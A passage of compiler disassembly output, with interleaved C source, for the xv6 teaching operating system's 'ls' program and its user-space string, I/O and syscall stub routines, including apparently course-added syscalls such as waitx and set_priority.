6b: 53 push %ebx
6c: e8 3f 03 00 00 call 3b0 <strlen>
71: 83 c4 10 add $0x10,%esp
74: 01 d8 add %ebx,%eax
76: 73 0f jae 87 <fmtname+0x27>
78: eb 12 jmp 8c <fmtname+0x2c>
7a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80: 83 e8 01 sub $0x1,%eax
83: 39 c3 cmp %eax,%ebx
85: 77 05 ja 8c <fmtname+0x2c>
87: 80 38 2f cmpb $0x2f,(%eax)
8a: 75 f4 jne 80 <fmtname+0x20>
p++;
8c: 8d 58 01 lea 0x1(%eax),%ebx
if(strlen(p) >= DIRSIZ)
8f: 83 ec 0c sub $0xc,%esp
92: 53 push %ebx
93: e8 18 03 00 00 call 3b0 <strlen>
98: 83 c4 10 add $0x10,%esp
9b: 83 f8 0d cmp $0xd,%eax
9e: 77 4a ja ea <fmtname+0x8a>
memmove(buf, p, strlen(p));
a0: 83 ec 0c sub $0xc,%esp
a3: 53 push %ebx
a4: e8 07 03 00 00 call 3b0 <strlen>
a9: 83 c4 0c add $0xc,%esp
ac: 50 push %eax
ad: 53 push %ebx
ae: 68 bc 0d 00 00 push $0xdbc
b3: e8 98 04 00 00 call 550 <memmove>
memset(buf+strlen(p), ' ', DIRSIZ-strlen(p));
b8: 89 1c 24 mov %ebx,(%esp)
bb: e8 f0 02 00 00 call 3b0 <strlen>
c0: 89 1c 24 mov %ebx,(%esp)
c3: 89 c6 mov %eax,%esi
return buf;
c5: bb bc 0d 00 00 mov $0xdbc,%ebx
memset(buf+strlen(p), ' ', DIRSIZ-strlen(p));
ca: e8 e1 02 00 00 call 3b0 <strlen>
cf: ba 0e 00 00 00 mov $0xe,%edx
d4: 83 c4 0c add $0xc,%esp
d7: 05 bc 0d 00 00 add $0xdbc,%eax
dc: 29 f2 sub %esi,%edx
de: 52 push %edx
df: 6a 20 push $0x20
e1: 50 push %eax
e2: e8 f9 02 00 00 call 3e0 <memset>
return buf;
e7: 83 c4 10 add $0x10,%esp
}
ea: 8d 65 f8 lea -0x8(%ebp),%esp
ed: 89 d8 mov %ebx,%eax
ef: 5b pop %ebx
f0: 5e pop %esi
f1: 5d pop %ebp
f2: c3 ret
f3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000100 <ls>:
{
100: 55 push %ebp
101: 89 e5 mov %esp,%ebp
103: 57 push %edi
104: 56 push %esi
105: 53 push %ebx
106: 81 ec 64 02 00 00 sub $0x264,%esp
10c: 8b 7d 08 mov 0x8(%ebp),%edi
if((fd = open(path, 0)) < 0){
10f: 6a 00 push $0x0
111: 57 push %edi
112: e8 ab 04 00 00 call 5c2 <open>
117: 83 c4 10 add $0x10,%esp
11a: 85 c0 test %eax,%eax
11c: 78 52 js 170 <ls+0x70>
if(fstat(fd, &st) < 0){
11e: 8d b5 d4 fd ff ff lea -0x22c(%ebp),%esi
124: 83 ec 08 sub $0x8,%esp
127: 89 c3 mov %eax,%ebx
129: 56 push %esi
12a: 50 push %eax
12b: e8 aa 04 00 00 call 5da <fstat>
130: 83 c4 10 add $0x10,%esp
133: 85 c0 test %eax,%eax
135: 0f 88 c5 00 00 00 js 200 <ls+0x100>
switch(st.type){
13b: 0f b7 85 d4 fd ff ff movzwl -0x22c(%ebp),%eax
142: 66 83 f8 01 cmp $0x1,%ax
146: 0f 84 84 00 00 00 je 1d0 <ls+0xd0>
14c: 66 83 f8 02 cmp $0x2,%ax
150: 74 3e je 190 <ls+0x90>
close(fd);
152: 83 ec 0c sub $0xc,%esp
155: 53 push %ebx
156: e8 4f 04 00 00 call 5aa <close>
15b: 83 c4 10 add $0x10,%esp
}
15e: 8d 65 f4 lea -0xc(%ebp),%esp
161: 5b pop %ebx
162: 5e pop %esi
163: 5f pop %edi
164: 5d pop %ebp
165: c3 ret
166: 8d 76 00 lea 0x0(%esi),%esi
169: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
printf(2, "ls: cannot open %s\n", path);
170: 83 ec 04 sub $0x4,%esp
173: 57 push %edi
174: 68 48 0a 00 00 push $0xa48
179: 6a 02 push $0x2
17b: e8 70 05 00 00 call 6f0 <printf>
return;
180: 83 c4 10 add $0x10,%esp
}
183: 8d 65 f4 lea -0xc(%ebp),%esp
186: 5b pop %ebx
187: 5e pop %esi
188: 5f pop %edi
189: 5d pop %ebp
18a: c3 ret
18b: 90 nop
18c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
printf(1, "%s %d %d %d\n", fmtname(path), st.type, st.ino, st.size);
190: 83 ec 0c sub $0xc,%esp
193: 8b 95 e4 fd ff ff mov -0x21c(%ebp),%edx
199: 8b b5 dc fd ff ff mov -0x224(%ebp),%esi
19f: 57 push %edi
1a0: 89 95 b4 fd ff ff mov %edx,-0x24c(%ebp)
1a6: e8 b5 fe ff ff call 60 <fmtname>
1ab: 8b 95 b4 fd ff ff mov -0x24c(%ebp),%edx
1b1: 59 pop %ecx
1b2: 5f pop %edi
1b3: 52 push %edx
1b4: 56 push %esi
1b5: 6a 02 push $0x2
1b7: 50 push %eax
1b8: 68 70 0a 00 00 push $0xa70
1bd: 6a 01 push $0x1
1bf: e8 2c 05 00 00 call 6f0 <printf>
break;
1c4: 83 c4 20 add $0x20,%esp
1c7: eb 89 jmp 152 <ls+0x52>
1c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){
1d0: 83 ec 0c sub $0xc,%esp
1d3: 57 push %edi
1d4: e8 d7 01 00 00 call 3b0 <strlen>
1d9: 83 c0 10 add $0x10,%eax
1dc: 83 c4 10 add $0x10,%esp
1df: 3d 00 02 00 00 cmp $0x200,%eax
1e4: 76 42 jbe 228 <ls+0x128>
printf(1, "ls: path too long\n");
1e6: 83 ec 08 sub $0x8,%esp
1e9: 68 7d 0a 00 00 push $0xa7d
1ee: 6a 01 push $0x1
1f0: e8 fb 04 00 00 call 6f0 <printf>
break;
1f5: 83 c4 10 add $0x10,%esp
1f8: e9 55 ff ff ff jmp 152 <ls+0x52>
1fd: 8d 76 00 lea 0x0(%esi),%esi
printf(2, "ls: cannot stat %s\n", path);
200: 83 ec 04 sub $0x4,%esp
203: 57 push %edi
204: 68 5c 0a 00 00 push $0xa5c
209: 6a 02 push $0x2
20b: e8 e0 04 00 00 call 6f0 <printf>
close(fd);
210: 89 1c 24 mov %ebx,(%esp)
213: e8 92 03 00 00 call 5aa <close>
return;
218: 83 c4 10 add $0x10,%esp
}
21b: 8d 65 f4 lea -0xc(%ebp),%esp
21e: 5b pop %ebx
21f: 5e pop %esi
220: 5f pop %edi
221: 5d pop %ebp
222: c3 ret
223: 90 nop
224: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
strcpy(buf, path);
228: 83 ec 08 sub $0x8,%esp
22b: 57 push %edi
22c: 8d bd e8 fd ff ff lea -0x218(%ebp),%edi
232: 57 push %edi
233: e8 f8 00 00 00 call 330 <strcpy>
p = buf+strlen(buf);
238: 89 3c 24 mov %edi,(%esp)
23b: e8 70 01 00 00 call 3b0 <strlen>
240: 01 f8 add %edi,%eax
while(read(fd, &de, sizeof(de)) == sizeof(de)){
242: 83 c4 10 add $0x10,%esp
*p++ = '/';
245: 8d 48 01 lea 0x1(%eax),%ecx
p = buf+strlen(buf);
248: 89 85 a8 fd ff ff mov %eax,-0x258(%ebp)
*p++ = '/';
24e: c6 00 2f movb $0x2f,(%eax)
251: 89 8d a4 fd ff ff mov %ecx,-0x25c(%ebp)
257: 89 f6 mov %esi,%esi
259: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
while(read(fd, &de, sizeof(de)) == sizeof(de)){
260: 8d 85 c4 fd ff ff lea -0x23c(%ebp),%eax
266: 83 ec 04 sub $0x4,%esp
269: 6a 10 push $0x10
26b: 50 push %eax
26c: 53 push %ebx
26d: e8 28 03 00 00 call 59a <read>
272: 83 c4 10 add $0x10,%esp
275: 83 f8 10 cmp $0x10,%eax
278: 0f 85 d4 fe ff ff jne 152 <ls+0x52>
if(de.inum == 0)
27e: 66 83 bd c4 fd ff ff cmpw $0x0,-0x23c(%ebp)
285: 00
286: 74 d8 je 260 <ls+0x160>
memmove(p, de.name, DIRSIZ);
288: 8d 85 c6 fd ff ff lea -0x23a(%ebp),%eax
28e: 83 ec 04 sub $0x4,%esp
291: 6a 0e push $0xe
293: 50 push %eax
294: ff b5 a4 fd ff ff pushl -0x25c(%ebp)
29a: e8 b1 02 00 00 call 550 <memmove>
p[DIRSIZ] = 0;
29f: 8b 85 a8 fd ff ff mov -0x258(%ebp),%eax
2a5: c6 40 0f 00 movb $0x0,0xf(%eax)
if(stat(buf, &st) < 0){
2a9: 58 pop %eax
2aa: 5a pop %edx
2ab: 56 push %esi
2ac: 57 push %edi
2ad: e8 0e 02 00 00 call 4c0 <stat>
2b2: 83 c4 10 add $0x10,%esp
2b5: 85 c0 test %eax,%eax
2b7: 78 5f js 318 <ls+0x218>
printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size);
2b9: 0f bf 85 d4 fd ff ff movswl -0x22c(%ebp),%eax
2c0: 83 ec 0c sub $0xc,%esp
2c3: 8b 8d e4 fd ff ff mov -0x21c(%ebp),%ecx
2c9: 8b 95 dc fd ff ff mov -0x224(%ebp),%edx
2cf: 57 push %edi
2d0: 89 8d ac fd ff ff mov %ecx,-0x254(%ebp)
2d6: 89 95 b0 fd ff ff mov %edx,-0x250(%ebp)
2dc: 89 85 b4 fd ff ff mov %eax,-0x24c(%ebp)
2e2: e8 79 fd ff ff call 60 <fmtname>
2e7: 5a pop %edx
2e8: 8b 95 b0 fd ff ff mov -0x250(%ebp),%edx
2ee: 59 pop %ecx
2ef: 8b 8d ac fd ff ff mov -0x254(%ebp),%ecx
2f5: 51 push %ecx
2f6: 52 push %edx
2f7: ff b5 b4 fd ff ff pushl -0x24c(%ebp)
2fd: 50 push %eax
2fe: 68 70 0a 00 00 push $0xa70
303: 6a 01 push $0x1
305: e8 e6 03 00 00 call 6f0 <printf>
30a: 83 c4 20 add $0x20,%esp
30d: e9 4e ff ff ff jmp 260 <ls+0x160>
312: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printf(1, "ls: cannot stat %s\n", buf);
318: 83 ec 04 sub $0x4,%esp
31b: 57 push %edi
31c: 68 5c 0a 00 00 push $0xa5c
321: 6a 01 push $0x1
323: e8 c8 03 00 00 call 6f0 <printf>
continue;
328: 83 c4 10 add $0x10,%esp
32b: e9 30 ff ff ff jmp 260 <ls+0x160>
00000330 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
330: 55 push %ebp
331: 89 e5 mov %esp,%ebp
333: 53 push %ebx
334: 8b 45 08 mov 0x8(%ebp),%eax
337: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
33a: 89 c2 mov %eax,%edx
33c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
340: 83 c1 01 add $0x1,%ecx
343: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
347: 83 c2 01 add $0x1,%edx
34a: 84 db test %bl,%bl
34c: 88 5a ff mov %bl,-0x1(%edx)
34f: 75 ef jne 340 <strcpy+0x10>
;
return os;
}
351: 5b pop %ebx
352: 5d pop %ebp
353: c3 ret
354: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
35a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000360 <strcmp>:
int
strcmp(const char *p, const char *q)
{
360: 55 push %ebp
361: 89 e5 mov %esp,%ebp
363: 53 push %ebx
364: 8b 55 08 mov 0x8(%ebp),%edx
367: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
36a: 0f b6 02 movzbl (%edx),%eax
36d: 0f b6 19 movzbl (%ecx),%ebx
370: 84 c0 test %al,%al
372: 75 1c jne 390 <strcmp+0x30>
374: eb 2a jmp 3a0 <strcmp+0x40>
376: 8d 76 00 lea 0x0(%esi),%esi
379: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
380: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
383: 0f b6 02 movzbl (%edx),%eax
p++, q++;
386: 83 c1 01 add $0x1,%ecx
389: 0f b6 19 movzbl (%ecx),%ebx
while(*p && *p == *q)
38c: 84 c0 test %al,%al
38e: 74 10 je 3a0 <strcmp+0x40>
390: 38 d8 cmp %bl,%al
392: 74 ec je 380 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
394: 29 d8 sub %ebx,%eax
}
396: 5b pop %ebx
397: 5d pop %ebp
398: c3 ret
399: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
3a0: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
3a2: 29 d8 sub %ebx,%eax
}
3a4: 5b pop %ebx
3a5: 5d pop %ebp
3a6: c3 ret
3a7: 89 f6 mov %esi,%esi
3a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000003b0 <strlen>:
uint
strlen(const char *s)
{
3b0: 55 push %ebp
3b1: 89 e5 mov %esp,%ebp
3b3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
3b6: 80 39 00 cmpb $0x0,(%ecx)
3b9: 74 15 je 3d0 <strlen+0x20>
3bb: 31 d2 xor %edx,%edx
3bd: 8d 76 00 lea 0x0(%esi),%esi
3c0: 83 c2 01 add $0x1,%edx
3c3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
3c7: 89 d0 mov %edx,%eax
3c9: 75 f5 jne 3c0 <strlen+0x10>
;
return n;
}
3cb: 5d pop %ebp
3cc: c3 ret
3cd: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
3d0: 31 c0 xor %eax,%eax
}
3d2: 5d pop %ebp
3d3: c3 ret
3d4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
3da: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
000003e0 <memset>:
void*
memset(void *dst, int c, uint n)
{
3e0: 55 push %ebp
3e1: 89 e5 mov %esp,%ebp
3e3: 57 push %edi
3e4: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
3e7: 8b 4d 10 mov 0x10(%ebp),%ecx
3ea: 8b 45 0c mov 0xc(%ebp),%eax
3ed: 89 d7 mov %edx,%edi
3ef: fc cld
3f0: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
3f2: 89 d0 mov %edx,%eax
3f4: 5f pop %edi
3f5: 5d pop %ebp
3f6: c3 ret
3f7: 89 f6 mov %esi,%esi
3f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000400 <strchr>:
char*
strchr(const char *s, char c)
{
400: 55 push %ebp
401: 89 e5 mov %esp,%ebp
403: 53 push %ebx
404: 8b 45 08 mov 0x8(%ebp),%eax
407: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
40a: 0f b6 10 movzbl (%eax),%edx
40d: 84 d2 test %dl,%dl
40f: 74 1d je 42e <strchr+0x2e>
if(*s == c)
411: 38 d3 cmp %dl,%bl
413: 89 d9 mov %ebx,%ecx
415: 75 0d jne 424 <strchr+0x24>
417: eb 17 jmp 430 <strchr+0x30>
419: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
420: 38 ca cmp %cl,%dl
422: 74 0c je 430 <strchr+0x30>
for(; *s; s++)
424: 83 c0 01 add $0x1,%eax
427: 0f b6 10 movzbl (%eax),%edx
42a: 84 d2 test %dl,%dl
42c: 75 f2 jne 420 <strchr+0x20>
return (char*)s;
return 0;
42e: 31 c0 xor %eax,%eax
}
430: 5b pop %ebx
431: 5d pop %ebp
432: c3 ret
433: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
439: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000440 <gets>:
char*
gets(char *buf, int max)
{
440: 55 push %ebp
441: 89 e5 mov %esp,%ebp
443: 57 push %edi
444: 56 push %esi
445: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
446: 31 f6 xor %esi,%esi
448: 89 f3 mov %esi,%ebx
{
44a: 83 ec 1c sub $0x1c,%esp
44d: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
450: eb 2f jmp 481 <gets+0x41>
452: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
458: 8d 45 e7 lea -0x19(%ebp),%eax
45b: 83 ec 04 sub $0x4,%esp
45e: 6a 01 push $0x1
460: 50 push %eax
461: 6a 00 push $0x0
463: e8 32 01 00 00 call 59a <read>
if(cc < 1)
468: 83 c4 10 add $0x10,%esp
46b: 85 c0 test %eax,%eax
46d: 7e 1c jle 48b <gets+0x4b>
break;
buf[i++] = c;
46f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
473: 83 c7 01 add $0x1,%edi
476: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
479: 3c 0a cmp $0xa,%al
47b: 74 23 je 4a0 <gets+0x60>
47d: 3c 0d cmp $0xd,%al
47f: 74 1f je 4a0 <gets+0x60>
for(i=0; i+1 < max; ){
481: 83 c3 01 add $0x1,%ebx
484: 3b 5d 0c cmp 0xc(%ebp),%ebx
487: 89 fe mov %edi,%esi
489: 7c cd jl 458 <gets+0x18>
48b: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
48d: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
490: c6 03 00 movb $0x0,(%ebx)
}
493: 8d 65 f4 lea -0xc(%ebp),%esp
496: 5b pop %ebx
497: 5e pop %esi
498: 5f pop %edi
499: 5d pop %ebp
49a: c3 ret
49b: 90 nop
49c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
4a0: 8b 75 08 mov 0x8(%ebp),%esi
4a3: 8b 45 08 mov 0x8(%ebp),%eax
4a6: 01 de add %ebx,%esi
4a8: 89 f3 mov %esi,%ebx
buf[i] = '\0';
4aa: c6 03 00 movb $0x0,(%ebx)
}
4ad: 8d 65 f4 lea -0xc(%ebp),%esp
4b0: 5b pop %ebx
4b1: 5e pop %esi
4b2: 5f pop %edi
4b3: 5d pop %ebp
4b4: c3 ret
4b5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
4b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000004c0 <stat>:
int
stat(const char *n, struct stat *st)
{
4c0: 55 push %ebp
4c1: 89 e5 mov %esp,%ebp
4c3: 56 push %esi
4c4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
4c5: 83 ec 08 sub $0x8,%esp
4c8: 6a 00 push $0x0
4ca: ff 75 08 pushl 0x8(%ebp)
4cd: e8 f0 00 00 00 call 5c2 <open>
if(fd < 0)
4d2: 83 c4 10 add $0x10,%esp
4d5: 85 c0 test %eax,%eax
4d7: 78 27 js 500 <stat+0x40>
return -1;
r = fstat(fd, st);
4d9: 83 ec 08 sub $0x8,%esp
4dc: ff 75 0c pushl 0xc(%ebp)
4df: 89 c3 mov %eax,%ebx
4e1: 50 push %eax
4e2: e8 f3 00 00 00 call 5da <fstat>
close(fd);
4e7: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
4ea: 89 c6 mov %eax,%esi
close(fd);
4ec: e8 b9 00 00 00 call 5aa <close>
return r;
4f1: 83 c4 10 add $0x10,%esp
}
4f4: 8d 65 f8 lea -0x8(%ebp),%esp
4f7: 89 f0 mov %esi,%eax
4f9: 5b pop %ebx
4fa: 5e pop %esi
4fb: 5d pop %ebp
4fc: c3 ret
4fd: 8d 76 00 lea 0x0(%esi),%esi
return -1;
500: be ff ff ff ff mov $0xffffffff,%esi
505: eb ed jmp 4f4 <stat+0x34>
507: 89 f6 mov %esi,%esi
509: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000510 <atoi>:
int
atoi(const char *s)
{
510: 55 push %ebp
511: 89 e5 mov %esp,%ebp
513: 53 push %ebx
514: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
517: 0f be 11 movsbl (%ecx),%edx
51a: 8d 42 d0 lea -0x30(%edx),%eax
51d: 3c 09 cmp $0x9,%al
n = 0;
51f: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
524: 77 1f ja 545 <atoi+0x35>
526: 8d 76 00 lea 0x0(%esi),%esi
529: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
530: 8d 04 80 lea (%eax,%eax,4),%eax
533: 83 c1 01 add $0x1,%ecx
536: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
53a: 0f be 11 movsbl (%ecx),%edx
53d: 8d 5a d0 lea -0x30(%edx),%ebx
540: 80 fb 09 cmp $0x9,%bl
543: 76 eb jbe 530 <atoi+0x20>
return n;
}
545: 5b pop %ebx
546: 5d pop %ebp
547: c3 ret
548: 90 nop
549: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000550 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
550: 55 push %ebp
551: 89 e5 mov %esp,%ebp
553: 56 push %esi
554: 53 push %ebx
555: 8b 5d 10 mov 0x10(%ebp),%ebx
558: 8b 45 08 mov 0x8(%ebp),%eax
55b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
55e: 85 db test %ebx,%ebx
560: 7e 14 jle 576 <memmove+0x26>
562: 31 d2 xor %edx,%edx
564: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
568: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
56c: 88 0c 10 mov %cl,(%eax,%edx,1)
56f: 83 c2 01 add $0x1,%edx
while(n-- > 0)
572: 39 d3 cmp %edx,%ebx
574: 75 f2 jne 568 <memmove+0x18>
return vdst;
}
576: 5b pop %ebx
577: 5e pop %esi
578: 5d pop %ebp
579: c3 ret
0000057a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
57a: b8 01 00 00 00 mov $0x1,%eax
57f: cd 40 int $0x40
581: c3 ret
00000582 <exit>:
SYSCALL(exit)
582: b8 02 00 00 00 mov $0x2,%eax
587: cd 40 int $0x40
589: c3 ret
0000058a <wait>:
SYSCALL(wait)
58a: b8 03 00 00 00 mov $0x3,%eax
58f: cd 40 int $0x40
591: c3 ret
00000592 <pipe>:
SYSCALL(pipe)
592: b8 04 00 00 00 mov $0x4,%eax
597: cd 40 int $0x40
599: c3 ret
0000059a <read>:
SYSCALL(read)
59a: b8 05 00 00 00 mov $0x5,%eax
59f: cd 40 int $0x40
5a1: c3 ret
000005a2 <write>:
SYSCALL(write)
5a2: b8 10 00 00 00 mov $0x10,%eax
5a7: cd 40 int $0x40
5a9: c3 ret
000005aa <close>:
SYSCALL(close)
5aa: b8 15 00 00 00 mov $0x15,%eax
5af: cd 40 int $0x40
5b1: c3 ret
000005b2 <kill>:
SYSCALL(kill)
5b2: b8 06 00 00 00 mov $0x6,%eax
5b7: cd 40 int $0x40
5b9: c3 ret
000005ba <exec>:
SYSCALL(exec)
5ba: b8 07 00 00 00 mov $0x7,%eax
5bf: cd 40 int $0x40
5c1: c3 ret
000005c2 <open>:
SYSCALL(open)
5c2: b8 0f 00 00 00 mov $0xf,%eax
5c7: cd 40 int $0x40
5c9: c3 ret
000005ca <mknod>:
SYSCALL(mknod)
5ca: b8 11 00 00 00 mov $0x11,%eax
5cf: cd 40 int $0x40
5d1: c3 ret
000005d2 <unlink>:
SYSCALL(unlink)
5d2: b8 12 00 00 00 mov $0x12,%eax
5d7: cd 40 int $0x40
5d9: c3 ret
000005da <fstat>:
SYSCALL(fstat)
5da: b8 08 00 00 00 mov $0x8,%eax
5df: cd 40 int $0x40
5e1: c3 ret
000005e2 <link>:
SYSCALL(link)
5e2: b8 13 00 00 00 mov $0x13,%eax
5e7: cd 40 int $0x40
5e9: c3 ret
000005ea <mkdir>:
SYSCALL(mkdir)
5ea: b8 14 00 00 00 mov $0x14,%eax
5ef: cd 40 int $0x40
5f1: c3 ret
000005f2 <chdir>:
SYSCALL(chdir)
5f2: b8 09 00 00 00 mov $0x9,%eax
5f7: cd 40 int $0x40
5f9: c3 ret
000005fa <dup>:
SYSCALL(dup)
5fa: b8 0a 00 00 00 mov $0xa,%eax
5ff: cd 40 int $0x40
601: c3 ret
00000602 <getpid>:
SYSCALL(getpid)
602: b8 0b 00 00 00 mov $0xb,%eax
607: cd 40 int $0x40
609: c3 ret
0000060a <sbrk>:
SYSCALL(sbrk)
60a: b8 0c 00 00 00 mov $0xc,%eax
60f: cd 40 int $0x40
611: c3 ret
00000612 <sleep>:
SYSCALL(sleep)
612: b8 0d 00 00 00 mov $0xd,%eax
617: cd 40 int $0x40
619: c3 ret
0000061a <uptime>:
SYSCALL(uptime)
61a: b8 0e 00 00 00 mov $0xe,%eax
61f: cd 40 int $0x40
621: c3 ret
00000622 <waitx>:
SYSCALL(waitx)
622: b8 16 00 00 00 mov $0x16,%eax
627: cd 40 int $0x40
629: c3 ret
0000062a <getpinfo>:
SYSCALL(getpinfo)
62a: b8 17 00 00 00 mov $0x17,%eax
62f: cd 40 int $0x40
631: c3 ret
00000632 <ps>:
SYSCALL(ps)
632: b8 18 00 00 00 mov $0x18,%eax
637: cd 40 int $0x40
639: c3 ret
0000063a <set_priority>:
SYSCALL(set_priority)
63a: b8 19 00 00 00 mov $0x19,%eax
63f: cd 40 int $0x40
641: c3 ret
642: 66 90 xchg %ax,%ax
644: 66 90 xchg %ax,%ax
646: 66 90 xchg %ax,%ax
648: 66 90 xchg %ax,%ax
64a: 66 90 xchg %ax,%ax
64c: 66 90 xchg %ax,%ax
64e: 66 90 xchg %ax,%ax
00000650 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
650: 55 push %ebp
651: 89 e5 mov %esp,%ebp
653: 57 push %edi
654: 56 push %esi
655: 53 push %ebx
656: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
659: 85 d2 test %edx,%edx
{
65b: 89 45 c0 mov %eax,-0x40(%ebp)
neg = 1;
x = -xx;
65e: 89 d0 mov %edx,%eax
if(sgn && xx < 0){
660: 79 76 jns 6d8 <printint+0x88>
662: f6 45 08 01 testb $0x1,0x8(%ebp)
666: 74 70 je 6d8 <printint+0x88>
x = -xx;
668: f7 d8 neg %eax
neg = 1;
66a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
} else {
x = xx;
}
i = 0;
671: 31 f6 xor %esi,%esi
673: 8d 5d d7 lea -0x29(%ebp),%ebx
676: eb 0a jmp 682 <printint+0x32>
678: 90 nop
679: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
do{
buf[i++] = digits[x % base];
680: 89 fe mov %edi,%esi
682: 31 d2 xor %edx,%edx
684: 8d 7e 01 lea 0x1(%esi),%edi
687: f7 f1 div %ecx
689: 0f b6 92 9c 0a 00 00 movzbl 0xa9c(%edx),%edx
}while((x /= base) != 0);
690: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
692: 88 14 3b mov %dl,(%ebx,%edi,1)
}while((x /= base) != 0);
695: 75 e9 jne 680 <printint+0x30>
if(neg)
697: 8b 45 c4 mov -0x3c(%ebp),%eax
69a: 85 c0 test %eax,%eax
69c: 74 08 je 6a6 <printint+0x56>
buf[i++] = '-';
69e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
6a3: 8d 7e 02 lea 0x2(%esi),%edi
6a6: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi
6aa: 8b 7d c0 mov -0x40(%ebp),%edi
6ad: 8d 76 00 lea 0x0(%esi),%esi
6b0: 0f b6 06 movzbl (%esi),%eax
write(fd, &c, 1);
6b3: 83 ec 04 sub $0x4,%esp
6b6: 83 ee 01 sub $0x1,%esi
6b9: 6a 01 push $0x1
6bb: 53 push %ebx
6bc: 57 push %edi
6bd: 88 45 d7 mov %al,-0x29(%ebp)
6c0: e8 dd fe ff ff call 5a2 <write>
while(--i >= 0)
6c5: 83 c4 10 add $0x10,%esp
6c8: 39 de cmp %ebx,%esi
6ca: 75 e4 jne 6b0 <printint+0x60>
putc(fd, buf[i]);
}
6cc: 8d 65 f4 lea -0xc(%ebp),%esp
6cf: 5b pop %ebx
6d0: 5e pop %esi
6d1: 5f pop %edi
6d2: 5d pop %ebp
6d3: c3 ret
6d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
6d8: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
6df: eb 90 jmp 671 <printint+0x21>
6e1: eb 0d jmp 6f0 <printf>
6e3: 90 nop
6e4: 90 nop
6e5: 90 nop
6e6: 90 nop
6e7: 90 nop
6e8: 90 nop
6e9: 90 nop
6ea: 90 nop
6eb: 90 nop
6ec: 90 nop
6ed: 90 nop
6ee: 90 nop
6ef: 90 nop
000006f0 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
6f0: 55 push %ebp
6f1: 89 e5 mov %esp,%ebp
